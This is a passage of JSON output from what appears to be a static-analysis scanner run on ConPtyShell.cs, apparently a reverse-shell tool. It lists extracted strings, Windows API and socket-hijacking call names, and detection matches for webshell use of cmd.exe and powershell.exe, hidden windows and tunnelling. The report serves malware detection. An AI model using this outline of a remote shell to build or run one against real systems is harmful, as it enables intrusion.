pseudoconsole thread attribute. " ], [ "ConPtyShellException", "Could not set up attribute list. " ], [ "ConPtyShellException", "No \\\\Device\\\\Afd objects found. Socket duplication failed." ], [ "ConPtyShellException", "No sockets found, so no hijackable sockets :( Exiting..." ], [ "ConPtyShellException", "Specified port is invalid: " ], [ "ConPtyShellException", "\\r\\nConPtyShell: Invalid integer value " ], [ "ConPtyShellException", "\\r\\nConPtyShell: Invalid remoteIp value" ], [ "ConPtyShellException", "\\r\\nConPtyShell: Not enough arguments. 2 Arguments required. Use --help for additional help.\\r\\n" ], [ "ConPtyShellException", "ioctlsocket failed with return code " ], [ "Console.WriteLine", " for DuplicateHandle access" ], [ "Console.WriteLine", "Cannot open target process with pid " ], [ "Console.WriteLine", "\\n" ], [ "Console.WriteLine", "\\r\\nCreatePseudoConsole function found! Spawning a fully interactive shell\\r\\n" ], [ "Console.WriteLine", "\\r\\nCreatePseudoConsole function not found! Spawning a netcat-like interactive shell...\\r\\n" ], [ "CreateFile", "CONIN$" ], [ "CreateFile", "CONOUT$" ], [ "GetModuleHandle", "kernel32" ], [ "GetProcAddress", "CreatePseudoConsole" ], [ "GetTypeIndexByName", "File" ], [ "String.Format", "WSAConnect failed with error code: {0}" ], [ "String.Format", "WSAStartup failed with error code: {0}" ] ], "ct": [ "AlignUp", "AllocConsole", "COORD", "CheckArgs", "CheckInt", "CheckRemoteIpArg", "CloseHandle", "ClosePseudoConsole", "ConPtyShell.SpawnConPtyShell", "ConPtyShellException", "ConPtyShellMainClass.ConPtyShellMain", "ConfigureProcessThread", "Console.Out.Write", "Console.WriteLine", "Convert.ToInt32", "CreateChildProcessWithPseudoConsole", "CreateFile", "CreatePipe", "CreatePipes", "CreateProcess", "CreateProcessEx", "CreatePseudoConsole", "CreatePseudoConsoleWithPipes", "CreateThread", "DeadlockCheckHelper", "DisplayHelp", "DuplicateHandle", "DuplicateSocketFromHandle", "DuplicateSocketsFromHandles", "EnableVirtualTerminalSequenceProcessing", "Encoding.ASCII.GetString", "FilterAndOrderSocketsByBytesIn", "FreeConsole", "GetConsoleMode", "GetConsoleWindow", "GetCurrentProcess", "GetModuleHandle", "GetParentProcess", "GetProcAddress", "GetSocketTcpInfo", "GetSocketsTargetProcess", "GetStdHandle", "GetTypeIndexByName", "HelpRequired", "IO_STATUS_BLOCK", "IPAddress.TryParse", "InitConsole", "InitWSAThread", "InitializeProcThreadAttributeList", "Int32.TryParse", "IntPtr", "IsSocketOverlapped", "LPTHREAD_START_ROUTINE", "Marshal.AllocHGlobal", "Marshal.FreeHGlobal", "Marshal.GetLastWin32Error", "Marshal.PtrToStringUni", "Marshal.PtrToStructure", "Marshal.ReadIntPtr", "Marshal.ReadIntPtr().ToInt64", "Marshal.SizeOf", "NtCreateEvent", "NtDeviceIoControlFile1", "NtQueryInformationProcess", "NtQueryObject", "NtQueryObjectDynamic", "NtQuerySystemInformation", "NtQuerySystemInformationDynamic", "NtResumeProcess", "NtSuspendProcess", "OpenProcess", "PROCESS_INFORMATION", "ParentProcessUtilities", "ParentProcessUtilities.GetParentProcess", "ParseCols", "ParseCommandLine", "ParseRows", "Process.GetCurrentProcess", "Process.GetProcessById", "QueryObjectTypesInfo", "ReadFile", "RestoreStdHandles", "RunProcess", "SECURITY_ATTRIBUTES", "SOCKADDR_IN", "SOCKET_BYTESIN", "SOCKET_CONTEXT", "STARTUPINFO", "STARTUPINFOEX", "SetConsoleMode", "SetStdHandle", "ShowWindow", "SocketHijacking.DuplicateTargetProcessSocket", "SocketHijacking.IsSocketInherited", "SocketHijacking.NtQueryObjectDynamic", "SocketHijacking.SetSocketBlockingMode", "StartThreadReadPipeWriteSocket", "StartThreadReadSocketWritePipe", "String.Format", "TCP_INFO_v0", "TerminateProcess", "Thread", "Thread.Sleep", "TryParseRowsColsFromSocket", "UpdateProcThreadAttribute", "WSACloseEvent", "WSACreateEvent", "WSADuplicateSocket", "WSAEventSelect", "WSAGetLastError", "WSAGetLastError().ToString", "WSAIoctl1", "WSAPROTOCOL_INFO", "WSAResetEvent", "WSASocket", "WSAStartup", "WSAWaitForMultipleEvents", "WaitForSingleObject", "WriteFile", "a.BytesIn.CompareTo", "closesocket", "connect", "connectRemote", "deadlockCheckHelperObj.CheckDeadlockDetected", "dupedSocketsOut.Add", "duplicatedSocket.ToInt64", "e.ToString", "getpeername", "htons", "inet_addr", "ioctlsocket", "pbi.InheritedFromUniqueProcessId.ToInt32", "pseudoConsoleCreationResult.ToString", "ptrHandlesInfo.ToInt64", "ptrHandlesInfoCurrent.ToInt64", "ptrTypesInfo.ToInt64", "ptrTypesInfoCurrent.ToInt64", "recv", "remotePort.ToString", "result.ToString", "send", "sizeReceived.Split", "socketsBytesIn.Add", "socketsBytesIn.Sort", "socketsHandles.Add", "socketsOut.Add", "status.ToString", "targetProcess.Id.ToString", "thReadSocketWritePipe.Abort", "thReadSocketWritePipe.Start", "thThreadReadPipeWriteSocket.Abort", "thThreadReadPipeWriteSocket.Start" ], "id": "csharp", "mc": [ "AddressFamily.InterNetwork", "CallingConvention.StdCall", "CharSet.Ansi", "CharSet.Auto", "CharSet.Unicode", "ConPtyShell.SpawnConPtyShell", "ConPtyShellMainClass.ConPtyShellMain", "Console.Out", "Console.Out.Write", "Console.WriteLine", "Convert.ToInt32", "Encoding.ASCII", "Encoding.ASCII.GetString", "IOSB.status", "IPAddress.TryParse", "Int32.TryParse", "IntPtr.Size", "IntPtr.Zero", "LayoutKind.Sequential", "Marshal.AllocHGlobal", "Marshal.FreeHGlobal", "Marshal.GetLastWin32Error", "Marshal.PtrToStringUni", "Marshal.PtrToStructure", "Marshal.ReadIntPtr", "Marshal.ReadIntPtr().ToInt64", "Marshal.SizeOf", "OBJECT_INFORMATION_CLASS.ObjectAllTypesInformation", "OBJECT_INFORMATION_CLASS.ObjectNameInformation", "ParentProcessUtilities.GetParentProcess", "Process.GetCurrentProcess", "Process.GetCurrentProcess().Handle", "Process.GetCurrentProcess().Id", "Process.GetProcessById", "ProtocolType.IP", "SocketHijacking.DuplicateTargetProcessSocket", "SocketHijacking.IsSocketInherited", "SocketHijacking.NtQueryObjectDynamic", "SocketHijacking.OBJECT_INFORMATION_CLASS", "SocketHijacking.OBJECT_INFORMATION_CLASS.ObjectNameInformation", "SocketHijacking.SetSocketBlockingMode", "SocketType.Stream", "String.Format", "TcpState.Established", "TcpState.SynReceived", "Thread.Sleep", "Type.TypeIndex", "Type.TypeName", "Type.TypeName.Buffer", "Type.TypeName.Length", "Type.TypeName.MaximumLength", "UnmanagedType.Bool", "UnmanagedType.ByValArray", "UnmanagedType.ByValTStr", "WSAGetLastError().ToString", "a.BytesIn", "a.BytesIn.CompareTo", "args.Length", "arguments.Length", "b.BytesIn", "childProcessInfo.hProcess", "childProcessInfo.hThread", "consoleCoord.X", "consoleCoord.Y", "contextData.SharedData", "contextData.SharedData.CreationFlags", "currentProcess.Handle", "deadlockCheckHelperObj.CheckDeadlockDetected", "dupedSocketsHandles.Count", "dupedSocketsOut.Add", "duplicatedSocket.ToInt64", "e.ToString", "grandParentProcess.Handle", "objNameInfo.Name", "objNameInfo.Name.Buffer", "objNameInfo.Name.Length", "pSec.bInheritHandle", "pSec.lpSecurityDescriptor", "pSec.nLength", "parentProcess.Handle", "parentSocketsHandles.Count", "pbi.InheritedFromUniqueProcessId", "pbi.InheritedFromUniqueProcessId.ToInt32", "process.Handle", "pseudoConsoleCreationResult.ToString", "ptrHandlesInfo.ToInt64", "ptrHandlesInfoCurrent.ToInt64", "ptrTypesInfo.ToInt64", "ptrTypesInfoCurrent.ToInt64", "remotePort.ToString", "result.ToString", "sInfo.cb", "sInfo.dwFlags", "sInfo.hStdError", "sInfo.hStdInput", "sInfo.hStdOutput", "sizeReceived.Split", "sockBytesIn.BytesIn", "sockBytesIn.handle", "sockInfo.BytesIn", "sockInfo.State", "sockaddrParentProcess.sin_addr", "sockaddrParentProcess.sin_port", "sockaddrTargetProcess.sin_addr", "sockaddrTargetProcess.sin_port", "sockets.Count", "socketsBytesIn.Add", "socketsBytesIn.Count", "socketsBytesIn.Sort", "socketsHandles.Add", "socketsOut.Add", "sockinfo.sin_addr", "sockinfo.sin_family", "sockinfo.sin_port", "startupInfo.StartupInfo", "startupInfo.StartupInfo.cb", "startupInfo.lpAttributeList", "status.ToString", "sysHandle.HandleValue", "sysHandle.ObjectTypeIndex", "sysHandle.UniqueProcessId", "tSec.nLength", "targetProcess.Id", "targetProcess.Id.ToString", "targetProcessSockets.Count", "thReadSocketWritePipe.Abort", "thReadSocketWritePipe.Start", "thThreadReadPipeWriteSocket.Abort", "thThreadReadPipeWriteSocket.Start", "wsaEventsArray.Length", "wsaProtocolInfo.iAddressFamily", "wsaProtocolInfo.iProtocol", "wsaProtocolInfo.iSocketType" ] }, "id": 0, "sz": 71041, "ts": [ { "a": "T1106", "c": 0.949999988079071, "d": "NtQueryInformationProcess P/Invoke declaration", "e": [ "NtQueryInformationProcess", "NtQueryInformationProcess" ], "i": "objectives/anti-analysis/debugger-detect/check::ntquery-pinvoke", "l": 4, "m": "B0001" }, { "c": 0.20000000298023224, "d": "pipe keyword", "e": [ "pipe" ], "i": "micro-behaviors/data/text/keywords/lexicon::pipe", "l": 1 }, { "a": "T1572", "c": 0.75, "d": "reGeorg socket token", "e": [ "Socket" ], "i": "objectives/command-and-control/channel/tunnel/proxy::regeorg-socket-token", "l": 1 }, { "c": 0.8500000238418579, "d": "Acquires handle to current process", "e": [ "GetCurrentProcess()" ], "i": "micro-behaviors/process/create/spawn::current-process", "l": 3, "m": "OB0006" }, { "a": "T1505.003", "c": 0.9599999785423279, "d": "Regex component marker", "e": [ "powershell.exe" ], "i": "objectives/command-and-control/backdoor/webshell/request::aspnet-request-processstartinfo--rx-4", "l": 1, "m": "B0030" }, { "a": "T1059.001", "c": 0.8500000238418579, "d": "System.Management.Automation.Host import", "e": [ "System.Management.Automation.Host" ], "i": "micro-behaviors/process/interpreter/powershell/host::sma-host", "l": 1, "m": "E1059" }, { "c": 0.800000011920929, "d": "Regex component marker", "e": [ "BaseAddress" ], "i": "micro-behaviors/communications/http/client/managed::webclient--rx-1", "l": 1 }, { "a": "T1059.001", "c": 0.8500000238418579, "d": "System.Management.Automation import", "e": [ "System.Management.Automation" ], "i": "micro-behaviors/process/interpreter/powershell/host::sma-namespace", "l": 1, "m": "E1059" }, { "c": 0.6000000238418579, "d": "typeof( call reference", "e": [ "typeof(" ], "i": "objectives/anti-static/obfuscation/reflection/invoke::typeof-call", "l": 1 }, { "a": "T1049", "c": 0.699999988079071, "d": "Imports System.Net.NetworkInformation", "e": [ "System.Net.NetworkInformation" ], "i": "micro-behaviors/os/network/connections::import-network-information", "l": 1 }, { "a": "T1505.003", "c": 0.9399999976158142, "d": "Regex component marker", "e": [ "powershell.exe" ], "i": "objectives/command-and-control/backdoor/webshell/request::aspnet-process-output-response--rx-13", "l": 1, "m": "B0030" }, { "c": 0.800000011920929, "d": "Regex component marker", "e": [ "String" ], "i": "micro-behaviors/communications/http/client/managed::webclient--rx-7", "l": 1 }, { "c": 0.20000000298023224, "d": "output keyword", "e": [ "output" ], "i": "micro-behaviors/data/text/keywords/lexicon::output", "l": 1 }, { "a": "T1505.003", "c": 0.9399999976158142, "d": "Regex component marker", "e": [ "cmd.exe" ], "i": "objectives/command-and-control/backdoor/webshell/request::aspnet-process-output-response--rx-16", "l": 1, "m": "B0030" }, { "a": "T1505.003", "c": 0.9599999785423279, "d": "Regex component marker", "e": [ "cmd.exe" ], "i": "objectives/command-and-control/backdoor/webshell/request::aspnet-request-processstartinfo--rx-7", "l": 1, "m": "B0030" }, { "a": "T1564", "c": 0.8500000238418579, "d": "SW_HIDE window show flag", "e": [ "SW_HIDE" ], "i": "objectives/evasion/process/hidden/window::sw-hide-flag", "l": 1 }, { "d": "overflow keyword", "e": [ "overflow" ], "i": "micro-behaviors/data/text/keywords/lexicon::overflow", "l": 1 }, { "c": 0.20000000298023224, "d": "command keyword", "e": [ "command" ], "i": "micro-behaviors/data/text/keywords/lexicon::command-dup", "l": 1 }, { "a": "T1127.001", "c": 0.699999988079071, "d": "MSBuild compile sleep-wait pattern", "e": [ "Thread.Sleep(18000" ], "i": "objectives/command-and-control/dropper/builder::msbuild-wait-sleep", "l": 1 }, { "c": 0.699999988079071, "d": "powershell keyword", "e": [ "powershell" ], "i": "micro-behaviors/process/create/shell/lang::powershell-keyword", "l": 3 }, { "c": 0.949999988079071, "d": "imports System", "e": [ "System" ], "i": "metadata/import/dotnet::system", "l": 2 }, { "c": 0.949999988079071, "d": "imports System.Diagnostics", "e": [ "System.Diagnostics" ], "i": "metadata/import/dotnet::system/diagnostics", "l": 2 }, { "c": 0.949999988079071, "d": "imports System.Runtime.InteropServices", "e": [ "System.Runtime.InteropServices" ], "i": "metadata/import/dotnet::system/runtime/interopservices", "l": 2 }, { "c": 0.949999988079071, "d": "imports System.Net.NetworkInformation", "e": [ "System.Net.NetworkInformation" ], "i": "metadata/import/dotnet::system/net/networkinformation", "l": 2 }, { "c": 0.949999988079071, "d": "imports System.IO", "e": [ "System.IO" ], "i": "metadata/import/dotnet::system/io", "l": 2 }, { "c": 0.949999988079071, "d": "imports System.Threading", "e": [ "System.Threading" ], "i": "metadata/import/dotnet::system/threading", "l": 2 }, { "c": 0.949999988079071, "d": "imports System.Collections.Generic", "e": [ "System.Collections.Generic" ], "i": "metadata/import/dotnet::system/collections/generic", "l": 2 }, { "c": 0.949999988079071, "d": "imports System.Net.Sockets", "e": [ "System.Net.Sockets" ], "i": "metadata/import/dotnet::system/net/sockets", "l": 2 }, { "c": 0.949999988079071, "d": "imports System.Text", "e": [ "System.Text" ], "i": "metadata/import/dotnet::system/text", "l": 2 }, { "c": 0.949999988079071, "d": "imports System.Net", "e": [ "System.Net" ], "i": "metadata/import/dotnet::system/net", "l": 2 } ], "sha": "741d42e6b64e04423ece771ac55d4068644bd6365cb6a617653b432ffb25a57c", "path": "ConPtyShell.cs", "type": "csharp" } ], "tv": "9ea7c" } }